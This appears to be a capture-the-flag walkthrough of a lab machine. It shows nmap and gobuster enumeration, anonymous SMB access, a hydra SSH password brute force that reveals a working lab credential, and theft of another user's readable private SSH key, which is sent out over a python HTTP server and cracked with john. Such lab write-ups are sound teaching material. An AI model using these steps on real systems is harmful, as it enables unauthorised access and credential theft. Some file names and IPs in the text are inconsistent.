Overview

  • Deploy the machine and connect to our network

    • No answer needed
  • Find the services exposed by the machine

    • No answer needed
  • What is the name of the hidden directory on the web server?

  • Use brute-forcing to find the username & password

    • No answer needed
  • What is the username?

  • What is the password?

  • What service do you use to access the server?

  • Enumerate the machine to find any vectors for privilege escalation

    • No answer needed
  • What is the name of the other user you found?

  • If you found another user, what can you do with this information?

    • No answer needed
  • What is the final password you obtain?

Initial Enumeration

I started this challenge with a quick nmap service and defauly script scan, using T4 to speed things up a bit as this is just a CTF room.

──(kali㉿kali)-[~]
└─$ nmap -sC -sV 10.144.139.231 -T4
Starting Nmap 7.99 ( https://nmap.org/ ) at 2026-09-06 02:44 -0400
Stats: 0:00:22 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.88% done; ETC: 02:45 (0:00:00 remaining)
Nmap scan report for 10.144.139.231
Host is up (0.29s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 0a:95:5f:53:a0:94:7c:41:2d:76:5b:e1:f3:be:08:1a (RSA)
|   256 d1:94:b4:fb:10:83:65:79:b6:be:ac:01:90:25:04:0a (ECDSA)
|_  256 87:e6:90:47:69:0a:c4:88:3b:8f:73:d6:e2:f8:8d:9c (ED25519)
80/tcp   open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|http-server-header: Apache/2.4.41 (Ubuntu)
139/tcp  open  netbios-ssn Samba smbd 4
445/tcp  open  netbios-ssn Samba smbd 4
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
Service Info: OS: Linux; CPE: cpe:/o:linux:linuxkernel

Host script results:
| smb2-time: 
|   date: 2026-09-06T06:45:00
|  start_date: N/A
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|clock-skew: -1s
| smb2-security-mode: 
|   3.1.1: 
|    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.00 seconds

Lots of interesting things here, we see port 22 open for ssh, as well as a SMB server exposed on both its legacy port 139 as well as 445. Definitely will have something to do with these later.
There are webservers on 80, 8009 and 8080 however, so I’ve decided to visit them first as they will probably contain some information about how to get into 22 and 445.

I’ve decided to just visit port 80 first, and on first glance, its nothing interesting. Just a blank page with the title under maintenance. However a quick check in the page source revealed a comment that leads to the next investigation.

<!-- Check our dev note section if you need to know what to work on. -->

This has prompted me to use gobuster to look for the dev note section, and a quick gobuster scan reveals a hidden directory called development.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.144.139.231/ -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.144.139.231/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8.2
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.hta                 (Status: 403) [Size: 279]
.htaccess            (Status: 403) [Size: 279]
.htpasswd            (Status: 403) [Size: 279]
development          (Status: 301) [Size: 322] [--> http://10.144.139.231/development/]
index.html           (Status: 200) [Size: 158]
server-status        (Status: 403) [Size: 279]
Progress: 4613 / 4613 (100.00%)
===============================================================
Finished
===============================================================

and access /development revealed 2 txt files, dev.txt and j.txt.

dev.txt
2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

j.txt
For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

This revealed some interesting information, as several services were available. With some research, we have discovered that there is a possible remote-code-execution vulnerability involving the Struts REST plugin. Although that seems to be where we should be heading next, we do notice that there are no real web apps, and they are just showing off how it works, this should not be the next progression. The other path was that we have discovered that the user J has really weak credentials, meaning that we can probably brute force it once we discover where and a full username.

My assumption was confirmed when I checked the hints, where it prompted to go check the SMB for credentials.

┌──(kali㉿kali)-[~]
└─$ smbclient -L //10.144.139.231/ -N

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.15.13-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
smbXcli_negprot_smb1_done: No compatible protocol selected by server.
Protocol negotiation to server 10.144.139.231 (for a protocol between LANMAN1 and NT1) failed: NT_STATUS_INVALID_NETWORK_RESPONSE
Unable to connect with SMB1 -- no workgroup available
                                                                                            
┌──(kali㉿kali)-[~]
└─$ smbclient //10.144.139.231/Anonymous -N                                              
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

└─$ cat staff.txt   
Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

I first attempted to enumerate the available SMB shares anonymously using:

smbclient -L //10.144.139.231/ -N

the -L option lists the available shares, while -N tells smbclient not to prompt for a password. The server allowed anonymous access and exposed 2 shares. The IPC$ share is a standard inter-process communication share, but the Anonymous disk share was much more interesting because it appeared to be intentionally accessible without authentication. Connecting to it revealed a single file named staff.txt. After downloading the file, we found a message from Kay to Jan. These are likely usernames on the system, and corresponds to our intel before with a user named J with weak credentials. Remembering that port 22 was open, thats where I decided to go next.

Obtaining a Connection

We know that jans’s credentials are weak, I’ve decided to use hydra with rockyou.txt wordlist to test common passwords against the account.

┌──(kali㉿kali)-[~]
└─$ hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.144.139.231
Hydra v9.7 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-09-06 03:15:12
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://10.144.139.231:22/
[STATUS] 162.00 tries/min, 162 tries in 00:01h, 14344239 to do in 1475:45h, 14 active
[STATUS] 195.67 tries/min, 587 tries in 00:03h, 14343814 to do in 1221:48h, 14 active
[22][ssh] host: 10.144.139.231   login: jan   password: armando
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-09-06 03:19:10

Hydra eventually discovered a password for the jan account. With valid credentials, I was able to establish an SSH session. We were also able to answer 3 questions here, obtaining both the user name, password and the service to access the server.

Priv Esc

Remembering from before, we also suspected Kay might also be a legitimate user as well, this is now confirmed as we are logged into Jan.

jan@ip-10-144-157-46:/home$ ls -la
total 20
drwxr-xr-x  5 root   root   4096 Sep  8 00:15 .
drwxr-xr-x 24 root   root   4096 Sep  8 00:15 ..
drwxr-xr-x  2 root   root   4096 Apr 23  2018 jan
drwxr-xr-x  5 kay    kay    4096 Apr 23  2018 kay
drwxr-xr-x  3 ubuntu ubuntu 4096 Sep  8 00:15 ubuntu
jan@ip-10-144-157-46:/home$ cd kay
jan@ip-10-144-157-46:/home/kay$ ls -la
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 5 root root 4096 Sep  8 00:15 ..
-rw------- 1 kay  kay   789 Jun 22  2025 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo
jan@ip-10-144-157-46:/home/kay$ 

The things that are interesting here is .ssh and password.bak. password.bak is likely to contain the final flag of this challenge, however we currently do not have reading rights to it. However, we do have reading writes to Kay’s SSH configuration, which could potentially laterally move us to Kay, which might have rights to read that file.

jan@ip-10-144-157-46:/home/kay$ ls -la .ssh
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

The most important file here was .ssh/id_rsa. This is Kay’s private SSH key. Normally, a private key should only be readable by its owner and is typically assigned permissions such as -rw------- or 600. However, the current configurations allows other local users, including jan to read it. The next step was to copy the private key off the target and determine whether it was protected by a passphrase or not.

Obtaining the Final Password

On the target, I copied the key to a temp location, then changed its permissions so that OpenSSH can use it to connect, then I tried to login as Kay to see if there was a password.

jan@ip-10-144-139-231:/tmp$ chmod 600 kay_rsa
jan@ip-10-144-139-231:/tmp$ ssh -i kay_rsa kay@localhost
Could not create directory '/home/jan/.ssh'.
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:TuMA/2/rWshDZrid2q8+s0doDikpqs69St/IkNd3JCU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Failed to add the host to the list of known hosts (/home/jan/.ssh/known_hosts).
Enter passphrase for key 'kay_rsa': 

Since there is a password, I have to transfer the key back to my Kali system to crack the password. One simple method to transfer the key back was to host the file temporarily using python. python3 -m http.server 8000 From Kali, I downloaded the key: wget http://10.144.139.231:8000/key_rsa Since I did not know the passphrase, I used ssh2john to convert the encrypted SSH key into a format John could process, then used the rockyou.txt again to attempt recover the passphrase.

┌──(kali㉿kali)-[~/Downloads/LinEnum]
└─$ ssh2john kay_rsa > kay.hash     
┌──(kali㉿kali)-[~/Downloads/LinEnum]
└─$ john --format=SSH --wordlist=/usr/share/wordlists/rockyou.txt kay.hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
PASSWORD          (kay_rsa)     
1g 0:00:00:00 DONE (2026-09-06 04:03) 16.66g/s 1379Kp/s 1379Kc/s 1379KC/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Then using the passphrase, I was able to SSH in as Kay and read the contents of pass.bak, which answers the final question of this room.

Conclusion

Overall, this challenge was a good example of how small mistakes can build on top of each other and lead to a full compromise. The main thing I learned was that enumeration is really important. The anonymous SMB share did not give me a password straight away, but it gave me useful usernames and information that helped with the next steps. After getting access as jan, check local files and permissions led me to Kay’s SSH private key. Because the key permissions were too open and the passphrase was weak, I was eventually able to log in as kay.